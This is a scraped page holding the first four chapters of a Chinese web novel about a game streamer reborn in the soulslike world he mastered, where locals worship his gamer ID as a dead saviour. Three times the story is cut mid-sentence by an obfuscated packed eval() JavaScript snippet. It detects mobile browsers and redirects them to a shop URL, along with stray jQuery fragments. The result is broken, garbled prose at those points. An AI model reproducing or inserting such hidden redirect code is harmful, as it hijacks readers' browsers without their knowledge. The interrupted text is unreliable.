《救世从看到血条开始》 1. 地狱笑话？ 一抬头看到自己的遗照是什么体验？ 渡桥驿站内，安西拎一只沉甸甸的包裹，正要放在柜台上，一抬头就看到售票员身后的黑白遗照。 遗照中的人直面镜头，黑色长直发披散，头戴桂冠，手托宝球，嘴角微微扬起，笑容冰冷而高贵。 安西仔细观察，审慎思考，得出结论——遗照中的人是他自己。 遗照画幅长约2米，宽约1.2米，镜心纤尘不染，镜框光可鉴人，旁边供奉露水未干的白色鲜花。看得出来，照看这张遗照的人破费心思。如果遗照里的那张脸不是安西，安西会高度认可他工作的成果。 “到哪里？”售票员打了个哈欠。 安西回过神来，把包裹放在收银台上：“这张遗照……” 此言一出，安西瞬间明白他说错话了。因为售票员像被踩了尾巴的猫，吱一声弹起来，几乎在咆哮。 “你说什么？？遗照？？”售货员一扫之前的困倦，声如洪钟，“这是神相！祂不死不灭，我们只需等待祂再次降临，带领我们走向曙光。什么遗照，晦气！！” 安西：“啊好好好，神相。神相里的人是谁？” 售票员由愤怒转为惊讶，他瞪起眼屎还没来得及擦的睡眼，震惊地瞅着安西：“你不知道祂的姓名？你昨天才出生？” 猜对了。安西在心里说。 安西昨天才穿越到这个世界，四舍五入，他约等于昨天才出生在这片大陆。 该大陆名为“织桥大陆”，曾有辉煌的文明。然而，五百年前，一支信仰邪恶神明的教徒，从邪神处获得“畸变”的能力。 这群教徒很快畸变成人不人、鬼不鬼的样子，战斗力十数倍增加，他们被称为异鬼。 异鬼血洗整片大陆，文明和秩序皆毁于一旦。 ——以上是超高难度类魂游戏《至高秩序》的故事背景。 安西是游戏主播，他连轴转整整三个月，达成全网首通，欣赏结局CG时，猝死。 一睁眼，他竟然穿越到游戏世界。 怎么就能确定这是游戏世界呢？因为安西一睁开眼，就看到一匹花瓣人马，脑袋像花瓣一样绽放。安西跑图时无数次被这玩意偷袭。 回忆结束，安西想起一个细节：进入游戏时需要捏脸，安西懒得捏脸，直接用自己的原貌。 “所以，这位尊贵的神明，到底叫什么名字？”安西抱着渺茫的希望问。 售票员挺直腰板，目光坚定，声音铿锵有力：“祂斩杀72只堕落者，创造一片乐园净土，祂淬炼秩序，唤醒传奇。祂是毁灭之神，创造之神，终焉与新世之神——乌赫博什·伊奇斯。” 安西：…… 这不是他游戏ID么！谐音是“我和BOSS一起死”！你们当什么好名字呢！ 安西无力扶额，好极了，随意取的网名一语成谶，死后还穿越到游戏世界，游戏NPC……不对，游戏原住民仍对这个名字念念不忘，时时刻刻提醒安西他的死因有多蠢。 “先别管了……我要到远征平原。”安西把那只小包裹推到售货员面前。 远征平原，游戏里的新手村。 安西刚穿越来的地方，在“大葬宫”附近，大葬宫是大后期支线地图，生存难度很高。当然，对安西来说不太高。 想当初，他为获得一把武器，刷大葬宫地图刷了整整一周，这里的小怪，他闭着眼睛都能无伤。 比如刚穿越就和安西打招呼的花瓣人马。人马一撅屁股安西就知道他要屙什么屎，捡了根木棍，打着哈欠，揉着眼睛，灵活走位加后撤步加翻滚，花了30分钟把人马磨死，全程无伤。 话又说回来，即使穿越了，安西依然能看到怪物头顶的血条，原住民能看到么？ 算了这也不重要，先去更安全的新手村吧。安西不想每天花个半小时和前世打吐了的怪物切磋。 织桥大陆的文明覆灭后，货币体系随之崩解。现在，交易方式均是以物易物。 售票员打开包裹，愣住了。 “怎么，东西不够？”安西问。大葬宫离远征平原很远，车票应该很贵。 售票员目瞪口呆：“花瓣人马的腿骨、心脏；群青毒蕈的伞盖6个；污泥向日葵的种子，整整12瓶……天啊！到远征平原的车票用不了这么多！” 他拿走花瓣人马的腿骨，把剩余的东西推到安西面前。想了想，又拿走一瓶污泥向日葵的瓜子：“多收你一点，因为你玷污了乌赫博什·伊奇斯。” 安西懒得计较，只要不再听到这个诅咒般的游戏ID，怎么都行。 “车票。”安西一摊手。 售票员递过来一张金属徽章似的车票，同时，狐疑地打量着安西：“年轻人，这些宝贝都是你自己搜集来的么？花瓣人马、污泥向日葵极、群青毒蕈极度危险，你没有任何装备……等等，你长得有点像……” 安西咳嗽两声，别过脸去。 他穿越后，容貌身材均和前世相同，而他捏脸时用的是自己的原貌。也就是说，安西和挂墙上那位长得一模一样。 只不过，安西昨天为了凑齐车票钱，用硬木枝和小怪们搏斗四五个小时，怪物的血液混着泥浆，糊了他满脸，很难看清五官。他也没地方洗漱梳妆，灰头土脸地来买车票。 没想到，因此避免了一场大麻烦。若是他干干净净地来买票，受惊售票员就有机会去天上面见救世主了。 安西接过车票，拿起包裹，直奔候车厅。半小时后，他成功进入通往远征平原的轨道车，躲进双人包厢里。 余光一扫，车门上方竟然也挂着乌赫博什·伊奇斯的“神相”，画幅小一些，他嘴角噙着笑，俯视车厢中的人。好一个含笑九泉，音容宛在。 “救世主啊，保佑我旅途顺利。” 安西这才注意到，车厢里还有一个人。他穿着极为考究，黑色中长款斗篷绣了金线，翻出的衣领钉着领尖夹，双手戴了四枚宝石戒指，排扣长靴包裹着精瘦笔直的小腿。 那人双手交叠在胸前，向遗照祈祷。 安西越看越别扭，有一种命不久矣的错觉。 “你为何不向乌赫博什·伊奇斯祈祷？”那人侧过脸，耳垂上的无色宝石耳钉一闪。他的面庞干净清瘦，看起来像地球26、7岁的青年，却有一种少年老成的寂寞清高。 安西：给自己上供这种事，没必要吧。 “我是莫艾·伊索恩托，请教您的姓名。”看起来很贵的青年祈祷结束，坐在安西对面，态度不算太友善。 “咳，安西。” “全名？” “嗯。” 不知为何，莫艾的脸色缓和了一些：“您看起来刚经历一场苦战，是否需要洗漱？车厢连接处有洗漱间。” “暂时不了吧。”安西说。他怕他一洗脸，把莫艾吓出个好歹。 安西支着额头望向车窗外，倒不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584247|187300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是cos青春疼痛片男主，只是他不得不遮着自己的脸。 轨道车比较慢，到达远征平原需要足足14天。这个世界，有实力的人都有更高效的交通工具，比如八足马、独角山羊、性格温顺的龙…… 想到这里，安西又忍不住骂策划，《至高秩序》这款游戏的存档点极其不合理，每次死亡，都要跑三百六十五里路。前期，玩家只能坐轨道车，中后期积累一定实力，玩家做的第一件事就是去找脚程快的坐骑。 有实力的玩家会优先获取坐骑，想来，有实力的原住民，也会尽可能找一些好用的坐骑。 莫艾的衣着打扮，一看就不是普通人，为什么坐轨道车？ 但安西没问，不自然地拧着脖子看向窗外，留给莫艾一个侧脸。 莫艾拿出贴身戴着的十字架吊坠，开始第二轮祈祷：“宽容的锋刃啊，赐我力量，予我方向……” 十字架下半部较短，上半部较长，且上半部雕刻成刀刃的形状。这东西安西认识，它叫逆十字刀。 安西打出来的结局，就是用逆十字刀自戕……然后游戏外的安西也死了。 理所当然地，安西认为逆十字刀克他。 这东西怎么还被做成吊坠，被信徒随身佩戴，还时不时拿出杀了他们神明的东西祈祷？你们不觉得这是个地狱笑话么？ 第二轮祈祷结束，莫艾将逆十字刀吊坠放回衣服里，轻轻叹了口气，也望向窗外：“祂为什么要自戕呢。如果祂没离开这个世界，这里会更好。” 好问题，安西也想知道。他打《至高秩序》打到红温，没心情看剧情，到结局时只有“自戕”这一个选项。 当天晚上，安西趁着夜色，用11罐污泥向日葵种子，和有轨车上的另一个人交换了一件名叫“易容面纱”的道具，给自己换了张脸。 洗去脸上的污泥，安西审视着自己的新面容。 他原本的长相，被朋友们戏称为“吃饱了没事干徒惹闲愁的颓靡忧郁贵公子”，即使安西孤儿院出身，但那张脸长得太漂亮、太标致、太贵气，谁也不信他一穷二白。 安西做单机游戏主播，能收获千万粉丝，也多亏了他那张脸。 新的五官，比原本的长相寡淡了一些，看起来也不是病恹恹的，安西很满意。他按了按两侧下颌角，让易容面纱贴得更紧一些。 随后的旅程，就是百无聊赖的等待。莫艾总是心事重重的样子，一天三次的祈祷，每次他发出“救世主啊”的声音，安西就避之唯恐不及。 旅途第六天，安西和莫艾熟识了一些。 “我想成为远征者，”莫艾望着窗外的夜色，轻声说，“我注定追随祂的脚步，为祂……” 安西迅速打断：“好极了。” 游戏玩家被称为“远征者”，也就是和怪物对抗的主力。 这一世，安西不想和远征者扯上一星半点的关系，倒不是他怕了，而是那些怪物他要打吐了。 “你呢？”莫艾侧过头问，“你为何去远征平原。” 因为那里更安全呗。 安西还没来得及回答，察觉到什么似的，眯起眼睛，看向轨道车顶部。 “有东西？”莫艾也跟着抬起头。 “你看到了么？”安西问。 “吊灯。”莫艾回答。 果然，原住民看不到。 在安西的视野中，列车上方有一个血条。血条较长，是个精英怪。 2. 被迫出手 轨道车速度慢、体积大、噪音大，行驶途中招惹来几只异鬼，常有的事儿，安西的开荒阶段，有一半时间都在处理生物交通事故。 玩游戏时，安西是远征者，是这个世界的主角，发生意外，他当仁不让地冲上去（单机游戏，安西不冲上去也不行），但现在，安西是路人甲，发生意外，他理所当然地缩在角落等别人处理。 警报拉响，列车员奔走疾呼：“有没有远征者？！” “可以战斗的拿起武器，列车被异鬼袭击了！” 莫艾打开一只散发木头清香、錾刻金色线条的精致箱子，正当安西以为他要从箱子里拿出一把乐器，充当气氛组时，莫艾竟从箱子里取出一根……锈蚀严重的破金属棍子。 棍子的外观近似高尔夫球的球杆，顶端更尖锐。表面密布结晶状的砖红色铁锈，锈蚀的味道隔着半米远也能闻到，还夹杂着丝丝缕缕的腐烂尸臭，不需要攻击，已经能造成精神污染。 安西定睛看了几秒钟，从回忆的角落里挖出这件武器的名字：送死者镰钩。 玩游戏时，安西初次捡到这把武器，对着屏幕笑得直不起腰。送死者镰钩？用这把镰钩的人，都是准备去送死的人么？ 依稀记得，武器的详情页写着：某某某家族的人，会用这将这把镰钩捅|进背叛者的喉咙里，再把他们挂在城墙上，以示威严。 镰钩的尖端会刺穿背叛者的内脏，像钓鱼似的，被镰钩挂住的人，逃不了也死得不痛快，惨叫声三日不绝。 详情中出现的“某某某”家族，安西印象不深刻，好像……就是伊索恩托家族？莫艾·伊索恩托的那个伊索恩托。 伊索恩托家族世代信奉邪恶神明……这段剧情安西没看，简而言之，莫艾的家人和异鬼是一伙儿的，游戏里的反派。 反派家族竟有人崇拜“我和BOSS一起死”这位伟光正主角？ 安西大感意外，不知不觉，他盯着送死者镰钩有些久了，莫艾察觉到他的异常。 “你有武器么？”莫艾问。 “没有。”安西迅速回答。 莫艾又从随身行李箱中拿出五个装满红色液体的圆肚玻璃瓶，扔给安西：“关键时刻喝下它，能保你一命。” 圆肚玻璃瓶中的液体，官方称呼是“愈创药剂”，玩家称之为红药，回血的。 安西：“谢谢。” 但他大概率用不上。 莫艾提着送死者镰钩，义不容辞地去做送死的事。 这列轨道车，大约有20多名乘客，只有莫艾站了出来。其他人都躲在包厢里，安西听到隔壁的乘客大声呼唤“乌赫博什·伊奇斯”。 如果他们知道这名字是什么意思，一定不愿意喊着这个名字祈祷。 轨道车停在大桥中央，车厢剧烈晃动着，听不远处传来的打斗声，战况激烈。 再看看异鬼的血条，只掉了一点皮，莫艾的血条基本见底。 拉扯三分钟后，莫艾应该是喝了一瓶红药，血条涨了一些。但这游戏的怪物趁你病要你命，一喝药就疯狂攻击。 莫艾喝了多少药就吐出多少血，血条再次见底，生命岌岌可危。 看出来了，莫艾又菜又爱玩。 车厢剧烈晃动一下，莫艾和精英怪一起从车厢顶部滚落，砸在桥上。此时，车厢里的人，才看清精英怪的全貌。 那只异鬼足有3层楼高，下半身像蛇，上半身则像石化的花生。 花生壳在攻击时裂开，腹腔中探出无数只纤细的小黑手，对准莫艾又抓又挠。 惊叫声四起，恐慌情绪蔓延。这时候人们终于想起来，叫一百遍“乌赫博什·伊奇斯”，不如捣腾两条腿快点跑。 “异鬼已经离开轨道车了！”一个老头从包厢里探出脑袋，“列车员，快开车啊！你要我们在这里等死么！” 列车员怒极：“开车？？将那位独自和异鬼战斗的人，抛弃在这里么！” “老不死的，你安的什么心！你一百条贱命也比不上远征者一根头发！” “你在这儿装什么好人，你不是也躲在车厢里么？” “我不敢和异鬼战斗，还不敢打你么？死老头，你活得也够久了！” 车厢内比车厢外打得还激烈，列车员为维护秩序忙得团团转，就在这一片混乱中，安西拉开车窗，跳了出去。 “有人跳出去了！” “他也去和异鬼战斗了！” 莫艾扛着送死者镰钩，和异鬼拉开距离。异鬼的蛇尾一扫，又将他击倒在地。 夜色下，异鬼巨大的花生状上半身缓缓向他迫近，石壳裂开，上百只黑色小手争先恐后地伸出来。 莫艾咽下一口腥甜的血，紧握镰钩，捅|进花生壳裂开的缝隙。 这次攻击收效甚微，异鬼的攻击丝毫没有减慢，莫艾绝望地闭上眼。难道，他的理想，他的征途，止步于还未开始么？ “躺着干什么，要睡回车厢里睡。”安西的声音在头顶响起，瞬间唤醒莫艾沉沦的意志。 莫艾睁开眼，只见安西拿着一个群青毒蕈的伞盖，扔进花生壳的裂隙中。 黑色小手碰到毒蕈伞盖，扭动着缩回去，异鬼的上半身闭合，毒物全被封在它的身体里。 异鬼的血条下方，多出一个【中毒】的图标，每秒按百分比扣血。 “这只怪物弱毒。”安西说。 莫艾：“什么意思？” “被毒属性攻击克制。”安西搀着他的胳膊把他拽起来，“镰钩给我。” 不等莫艾回答，安西就夺过他手里的送死者镰钩，对准异鬼蛇尾和花生状上半身的连接处，一个重击。 异鬼摔倒在地，花生壳再次裂开，腹腔中发出沉闷的惨叫。安西把毒蕈伞盖的汁液抹在镰钩上，朝敞开的腹腔连续三次轻击，又把第二个毒蕈伞盖扔了进去。 这一连串攻击，异鬼的血条从90%骤降到75% 接下来，只需要重复这套操作：躲避攻击，找机会重击花生壳和蛇尾连接处，花生壳裂开后，三次轻攻击，再把毒蕈伞盖扔进去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584248|187300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不到15分钟时间，异鬼只剩一点血皮。安西再次将它击倒，接两次连续重击，成功帮助异鬼脱离生命安全。 战斗结束，全程无伤。 车厢中的乘客爆发山呼海啸的掌声。 * “您怎么知道异鬼被毒属性攻击克制？” “您又是怎么知道，应该重击异鬼上下半身的连接处？” “您又是怎么想到将毒蕈汁液涂抹在镰钩上，增强攻击效果的？” 莫艾的问题一个接一个，眼中满是对安西的好奇。 安西给出的回答是：直觉。 穿越后，这个世界的时间线向后推了30年，乌赫博什·伊奇斯自戕，对这个世界的人来说，是30年前的事。 除此之外，地图比游戏版大了数十倍，异鬼的数量也多了数十倍。 刚刚安西打死的异鬼，他在游戏中根本没见过。 但这款游戏安西玩了1200多个小时，死也死了上千次。击败过72个大BOSS、接近200个小BOSS、不计其数的精英怪；见识过各种类型的属性克制，各类异鬼的弱点，用过数百把武器，自创上百套打法…… 刷题刷多了，有手感了，出一个没见过的怪物，观战半分钟，就能制定出一套大差不差的战斗方案。 莫艾抚摸着横在膝盖上的送死者镰钩，轻声说：“这才是可以成为远征者的人吧，至于我……我恐怕会被拒绝。” 安西捕捉到一个重点：“你不是远征者？” “不是。”莫艾怅然望向车窗外，黑色树影正飞速后退，“我的家族，怎么可能出一位远征者呢？” 远征者与其他人的区别在于，远征者前往任意尖塔，可以尖塔图腾“共鸣”，共鸣后可以升级，提升体质（血条）、智力（蓝条）、敏捷（攻速）、力量（物理攻击力）、悟性（魔法攻击力）等各类属性。 以上是游戏中的设定，穿越后，眼前的大陆是一个真实的世界，安西估摸着，这个世界没有“升级”这一说法，但会通过其他形式体现出等级的提升。 错怪莫艾了，他不是又菜又爱玩，而是拿一个0级的白板号挑战精英怪。 也只有安西这类游戏内等级Lv.0，游戏外操作等级Lv.100的玩家，才能做到用白板号杀死精英怪。 “不是远征者，你往前冲什么啊。”安西失笑。 莫艾的神色很严肃，似乎不觉得自己做了件螳臂当车的蠢事：“你也不是远征者，但你能战胜异鬼。我做不到，还是我能力不够。” 安西：“……” 他好像在无意之间打击了一位有志青年的自信心。 “荆棘布满征途，但放弃不可饶恕。”莫艾的目光重新变得坚定，“我会追随乌赫博什·伊奇斯，为这个世界重置秩序。如果我做不到，那我就死在这条路上。” 安西再次：“……” 您口中的“乌赫博什·伊奇斯”可没想过什么重置秩序，他只是想拿个全网首位通关涨点粉丝啊！ 3. 共鸣成功 到达远征平原时，安西已将莫艾的好感度刷到“莫逆之交”，安西讲了很多关于自己的事。 伊索恩托家族世代信奉邪恶神明“福光”，福光拥有畸变的力量，伊索恩托家的大部分人，受福光影响，畸变成令人作呕的模样。 福光，正是游戏《至高秩序》的终极BOSS “受乌赫博什·伊奇斯的庇护，”莫艾收拾行李准备下车，“在我出生之前，救世主斩杀福光，我没有畸变。” “刚上车时，我见你没有向乌赫博什·伊奇斯祈祷，我还以为你也是福光的拥趸，幸好你不是。”莫艾声音低沉，“有十四个罪恶家族追随福光，我会永远记住这14个恶心的姓氏。” “你呢？”莫艾从行李箱后抬起头，“安西，你真的不考虑成为远征者么？” 安西头摇得像拨浪鼓：“没这个想法。” 他上一世孤儿出身，卷学习卷不赢别人，靠一张脸吃互联网这口饭，又开始卷数据、卷播放量，打游戏打得天昏地暗，成功把自己卷死了。 重来一世，安西颇有黄粱一梦之感，他只想找一间安全的小房子，过平淡的生活。 下车后，莫艾送给安西一只绒面首饰盒，他的神情很严肃：“请你一定要收下这份礼物。你有令我羡慕不已的天赋，我不忍心看到你走上一条歪路。” 说罢，莫艾随人流而去。 安西打开盒子一看，顿时两眼一黑，用力掐了好一会儿人中。 莫艾的礼物，竟然是逆十字刀吊坠！导致游戏里的安西自戕，游戏外的安西心梗猝死的那个逆十字刀！ 他砰的一声合上盒子，很想把这晦气东西扔甩飞，但吊坠是纯金的，安西舍不得。 想了又想，安西憋屈地把逆十字刀吊坠揣好。 * 远征平原。 乌赫博什·伊奇斯的征途从这里出发，希望的种子在这里发芽。 游戏里的远征平原是大片荒地，30年后，这里已建起数以千计的建筑，俨然是蒸汽时代的城镇模样。 站在平地，抬头望去，可看到一座直插云霄的黑色尖塔，能否成为远征者，就要看能不能和尖塔共鸣。 若是从高空俯瞰，会看到建筑均围绕远征者尖塔而建造，呈同心圆状，一圈圈向外。 来到远征平原的人，一多半想成为远征者，一小半做梦也想成为远征者。 人流向黑色尖塔汇聚，仿佛列队回到巢穴的蚂蚁。 安西渺小的黑色人影与大部队脱离。他拎着小包裹，在同心圆建筑群落外围，找到一个流浪商铺。 这个世界的商业不发达，商人必须满世界流浪寻找客源。因此，商铺很像蒙古包，方便商人搬家。 安西撩开帘子走进去：“我想买一栋房子。” 能不能在这个世界找到一个稳定的居所？安西也没把握，反正他玩游戏时，游戏里的角色没有家。 但时间已过去30年，远征平原建起上千座居民楼，买一栋小房子，应该不难……吧？ 安西对这方面的知识储备为零。 “呵，房子？”商铺老板裹着打补丁的衣服，头都懒得抬，“你被哪只异鬼打得头脑不清楚了？想要房子去远征者尖塔啊。” 安西渺小的黑色人影又汇入大部队，成为列队回到蚁穴的一员。 尖塔内部，和安西在游戏里看到的大差不差，只不过，大厅中央，多了一尊乌赫博什·伊奇斯的雕像。 还是倒在王座上，逆十字刀插进心脏的乌赫博什·伊奇斯雕像。 安西顿时感觉他又要心肌梗塞了。 心肌梗塞到一半，安西又看到雕塑手里握着的武器——尸香刺轮 那是安西玩游戏时最常用的武器，也是他打败最终BOSS福光所使用的武器。 这是一把特大武器，全长超过两米，通体呈暗金色，外观很像一柄加长加大版的团扇，顶端的刺轮做成人脸太阳的形状。 刚拿到这把武器时，人脸的部分五官不甚清晰，用得久了，太阳人脸的五官，和安西的五官如出一辙。 嗯……这个过程有点精神污染，但不妨碍安西对尸香刺轮的喜爱。 1200小时的游戏时长，有800个小时，安西和尸香刺轮一起度过，用出感情了，安西不由得多看了几眼。 大厅中，一批人身穿黑袍，胸前均挂着逆十字刀吊坠，看起来像尖塔内的工作人员。他们坐在雕塑前面的两排椅子里，漫不经心地擦拭手中的武器。走入尖塔的人，似乎对流程很熟悉，也没有向工作人员寻求帮助，一言不发地沿两侧楼梯上楼。 安西走到一位工作人员身边：“你好，我听说可以在这里买房子。” 霍礼凡露出友善的微笑：“你想要房子？这也很好。” 这片大陆，只有远征者可以获得固定的居所，其他人要么像莫艾·伊索恩托一样，出身于大家族，住祖辈老宅；要么，就四处流浪，哪里有一间破屋，就在哪里对付一晚。 当然，也可以自己建庇护所，只要他能做到。 正因如此，想成为远征者的人，只有一小部分怀揣救世理想，大多数只想获得基础的生活保障。 以上内容，均是织桥大陆的常识，但安西不知道。他以为远征者尖塔负责房地产业务。 霍礼凡不知道安西不知道，他以为安西只是想确认“成为远征者就可以免费分配住所”这件事。 虽说绝大多数进入远征者尖塔的人，都是奔着福利来的，但像安西这种直言不讳说出来的，霍礼凡头一次见。 因为安西的“坦诚”，霍礼凡对他颇有好感，当初，霍礼凡也是受够了四海漂泊，才决定成为远征者的。 “跟我来，小子，”霍礼凡站起身，抻了个懒腰，“我喜欢你的性格。” 安西：……什么乱七八糟的。算了，这不重要。 “请问，价格这方面？”安西跟在霍礼凡身后，和他一起爬楼梯。 房子应该挺贵的，安西手里的资源不多，他今天来，主要想问一下房价，看看自己还要刷多久的怪。 霍礼凡打了个哈欠：“价格嘛……” 成为远征者，必须自费购买一个逆十字刀吊坠，通过逆十字刀，才能与尖塔共鸣。逆十字刀吊坠的材质多样，最基础的木材质和石材质、稍微好一些的精钢材质，铜材质，银材质……最贵的是纯金逆十字刀。 不过，无论什么材质的逆十字刀，功能都一样。 这也是织桥大陆的常识，可安西不知道，并且霍礼凡不知道安西不知道。 “什么价位的都有，”霍礼凡说，“你有逆十字刀吊坠么？”没有的话需要买一个。 第一次共鸣就能成功的，属于极少数，绝大多数人像买彩票似的，隔三差五来碰运气。 很多人早早就拥有了逆十字刀吊坠，但无法与尖塔共鸣，只能把逆十字刀藏在衣服里，暗自期待有一天可以把吊坠光明正大地挂在衣服外面。 逆十字刀吊坠和买房子有什么关系？安西再次困惑。 但安西很快想到了一个（完全错误）的解释：远征者尖塔里的所有人都崇拜乌赫博什·伊奇斯，手里都有逆十字刀吊坠。他们卖房子，估摸着要审查信仰，只卖给信仰“一起死大人”的同类。 “我有逆十字刀吊坠。”安西把那颗吊坠拿出来。 霍礼凡：“嚯，还是纯金的，那我们直接来这边。” 他带着安西，又上了几层楼，推开一扇房门：“进去吧，马上开始了。” 安西：“什么？” 但霍礼凡没回答，关上门就走了，徒留安西一脸迷茫。 应该是找相关人员拿合同之类的东西吧，安西心里想着，同时开始打量这个房间。 房间三面封闭，其中一面墙没有封，也没有窗，向外洞开。安西顺着开口往外望，能看到他刚进入尖塔时的大厅。 通过开口，也能看到其他房间里的状况，所有人都和安西一样，望着大厅里的雕塑，神色或多或少有些紧张。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584249|187300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>安西略感诧异，但也没多想，他摊开一直拎在手里的包裹，清点现有物品。 玩游戏时，玩家有系统仓库，只有穿戴在身上的武器和装备计算负重，其他的材料直接往系统仓库里一塞，省力又省心。 穿越后没有仓库，安西开始怀念曾经的便捷。 他这一堆东西还挺沉的，尤其是花瓣人马的腿骨，一根就有3斤重。 安西像仓鼠一样盘点着自己的存货，他没注意到，一层大厅，那14位工作人员围绕乌赫博什·伊奇斯的雕像站成半圆，双手拖起手中的武器，高于头顶。 有了房子之后，安西准备打一组柜子，存放他的战利品。安西手工活水平差，他希望织桥大陆有木工。 霍礼凡等人开始吟唱古老的歌谣，歌声撞击尖塔内壁，水波般层层回荡，悠长绵渺。 刺入雕像胸腔里的逆十字刀嗡嗡震动，与此同时，安西手里的逆十字刀吊坠与之共振。 尖塔内的所有人，都站在洞开的那一面墙旁边，双目紧闭，用力按着挂在胸前的吊坠。 安西奇怪地盯着手里颤动的吊坠，想把它扔开，但这东西像有磁力似的，紧贴着安西的皮肤，竟然甩不掉。 歌声越来越激昂，尖塔内凭空响起沉闷的鼓点，隔着皮肤、血肉和骨骼，震颤着安西的心脏。 安西开始感觉有点不对劲了，他手里的逆十字刀在发热，并且，弹出了一个熟悉的界面——《至高秩序》的系统界面。 整座尖塔轰隆一声震动，鸟儿惊飞，音浪一层层推开树冠。 远征尖塔第一次闹出这么大的动静，方圆数十里的所有人皆朝尖塔望去。 最后一个音符消失时，黏在安西手掌上的逆十字刀叮咚一声落在地面上。安西奇怪地捡起那个小东西，仓库页面出现在安西面前。 心念一动，摆了满地的花瓣人马腿骨、花生壳里挖出来的打结小黑手等所有物品全都进入仓库。 诶？他的系统仓库怎么又回来了？ 不只是仓库，还有一张世界地图。安西在游戏里探索过的区域全部解锁，其余部分则被灰雾笼罩。 正当安西诧异时，身后传来当啷一声，紧接着是阵阵惊呼，他走到开洞处一瞧，紧握在雕塑手中的尸香刺轮，竟然掉在地上。 所有人都吓得不轻，尸香刺轮可是乌赫博什·伊奇斯使用过的武器，他们诚惶诚恐、千里迢迢地将尸香刺轮从大葬宫运回远征者尖塔，塑了一座雕像，让雕像拿着刺轮，慰藉众人对乌赫博什·伊奇斯的思念之情。 刺轮怎么掉了下来？ 霍礼凡等人惶恐不安，刚想把刺轮捡起来，意外再次发生，刺轮凭空消失了。 凭空……消失。 全场哗然，议论声四起。 安西则看着系统仓库里凭空的出现的尸香刺轮：…… “老朋友，又见面了。”他轻声自语。 半小时后。 离开小房间，回到一楼大厅，每个人手里都拿着他们的逆十字刀吊坠，安西也拿着他的黄金吊坠，到处寻找霍礼凡的身影。 说好了谈房产交易的事，霍礼凡怎么消失了？害得安西在房间里苦等半个多小时，等到所有人纷纷离开小房间，还没见到房产销售进来，只好独自离开。 人群纷杂，安西还没找到霍礼凡，先听到一个熟悉的声音。 “安西！” 竟然是莫艾，他分开人群跑过来，张开双臂紧紧抱住安西，声音激动到颤抖：“我共鸣成功了！我第一次共鸣就成功了……” 安西：……？？ “等会儿，”安西推开莫艾，“共鸣？” 莫艾激动得双手颤抖，他看到安西手中的吊坠，伸出两根手指触碰感知了一会儿，随后绽开欣慰的笑颜：“我就知道你会做出正确的选择。” 安西有一种不祥的预感，什么共鸣，什么选择？？你到底在说什么！ “你共鸣成功了，”莫艾微笑着，目光炽热而坚定，“你成为远征者了。” 4. 来一场pvp 流浪小吃摊。 莫艾请客，一人一碗热汤面，坐在和煦的春日暖阳下，饭菜的热气送来幸福的感受。 身旁的食客，大多是成功共鸣的新任远征者，他们意气风发，谈笑的声音得恨不得让全世界听见。 一切热闹与安西无关，他揪着自己的头发，盯着餐桌上某个点一动不动。 莫艾坐在安西对面，见安西一脸苦闷，还以为他刚成为远征者，不适应身份，心理负担重，轻声安慰着：“别给自己太大压力，我打听过，新人有过渡期，在这段期间，可以接低难度任务，以你的能力，一定可以完成得很好。” 安西仍直愣愣地盯着一个点，机械重复：“任务？” “嗯，最靠近尖塔的那一圈建筑，就是远征者公会，那里不定期发布任务。”莫艾斯斯文文地咽下一口面条，和身旁吱哇乱叫的新任远征者形成鲜明对比，“我很想挑战堕落者，但我知道，我的能力远远不够。” 堕落者是一种特殊的异鬼，他们大多数曾是织桥大陆上有头有脸的人物，后追随邪神福光，堕落为半人半鬼的模样。 与普通异鬼最大的区别在于，堕落者主动接受福光的邪恶力量，异鬼则是在毫不知情、甚至被迫的情况下被福光转化。堕落者通常更强大，位置也更隐蔽。 游戏设定中，击败堕落者，可吸收堕落者体内的“赐福印记”，大幅提升远征者的能力。 对安西来说，堕落者是大BOSS，普通异鬼是精英怪和小怪。 无论是什么玩意，安西都不想打。忽然间，安西觉醒了打工人的智慧：工作不爱做，可以摸鱼啊！ 不到万不得已的时候不接取任务，接任务只接低难度任务，兢兢业业地躺平，混日子还不好混么！ 上辈子，安西是游戏up主，众所周知游戏圈卷得离谱，只是通关？太没意思，要无伤通关、要速通、要花式通关，要全搜集、要定番、要节目效果……卷的时间长了，差点忘记还有“边工作边躺”这一个选项。 想到这一点，安西重燃生机，脑袋唰地抬起来，目光炯炯：“我们先接取最简单的任务。” 见安西眼里有光，莫艾还以为他想开了，颇为欣慰：“嗯，我想我应该从最简单的任务开始，我对我的能力没有信心。可我更像挑战高难度任务，不知道我作为远征者，能存活多久……” 餐桌另一头，安西唏哩呼噜地吃着拉面：“接最简单的任务，不会要了你的命，放心。” 